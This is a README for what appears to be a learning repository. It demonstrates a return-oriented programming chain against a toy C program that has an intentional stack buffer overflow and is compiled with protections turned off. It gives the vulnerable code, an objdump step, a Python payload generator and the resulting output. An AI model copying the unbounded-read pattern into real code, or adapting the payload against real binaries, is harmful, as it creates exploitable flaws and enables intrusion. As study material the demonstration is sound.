In this repository, I am testing out a famous example of Return-Oriented Programming (ROP) using a simple payload. The example is designed to demonstrate how ROP can be used to execute arbitrary code by chaining together existing code snippets in memory.
use
nix developfor dev environment
First we write vulnerable code in C that will read a payload from standard input and execute it. The code is designed to be vulnerable to a buffer overflow attack.
#include <stdio.h>
// char *gets(char *);
char gets(char *buf) {
int c, i = 0;
while ((c = getchar()) != '\n' && c != EOF)
buf[i++] = c;
buf[i] = '\0';
return '\0';
}
void rop1() { printf("ROP1!\n"); }
void rop2() { printf("ROP2!\n"); }
void rop3() { printf("ROP3!\n"); }
void vulnerable() {
char buffer[64];
gets(buffer); // Dangerously simple overflow
}
int main() {
vulnerable();
printf("Program finished executing.\n");
return 0;
}Next, we compile the code with the following command:
gcc -fno-stack-protector -z execstack --no-pie -o rop1a vulner.cNow we get the funciton addressses using objdump:
objdump -d rop1a | grep 'rop1/\|rop2/\|rop3/'In my case the output is:
rop1a: file format elf64-x86-64
00000000004011b0 <rop1>:
00000000004011c0 <rop2>:
00000000004011d0 <rop3>:We create a python program to generate the payload that will trigger these functions via ROP:
import struct
padding = b'A' * 72
# Addresses of the functions rop1, rop2, and rop3 for objdump output
rop1 = struct.pack('<Q', 0x4011b0)
rop2 = struct.pack('<Q', 0x4011c0)
rop3 = struct.pack('<Q', 0x4011d0)
payload = padding + rop1 + rop2 + rop3
# Write raw bytes to a file
with open("payload.bin", "wb") as f:
f.write(payload)In my case ./rop1a $(python exploit.py ) or ./rop1a "$(python3 exploit.py | cat)" this was not working as expected, so via the program it creates payload.bin with the payload generated by the python script. The python script when printing the payload may have printed it in bytes or literal strings :o
Now with my understanding the executable rop1a should never execute the functions rop1, rop2, and rop3. But when we provide the payload specifically designed for it to spit out the strings "ROP1!", "ROP2!", and "ROP3!", it does so successfully
When Executing the command cat payload.bin | ./rop1a, the output is:
ROP1!
ROP2!
ROP3!
fish: Process 36324, './rop1a' from job 1, 'cat payload.bin | ./rop1a' terminated by signal SIGSEGV (Address boundary error)
Exploit was successful :)